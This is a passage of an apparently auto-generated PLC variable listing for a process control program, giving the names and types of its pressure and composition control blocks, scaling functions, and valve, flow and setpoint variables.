+71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; 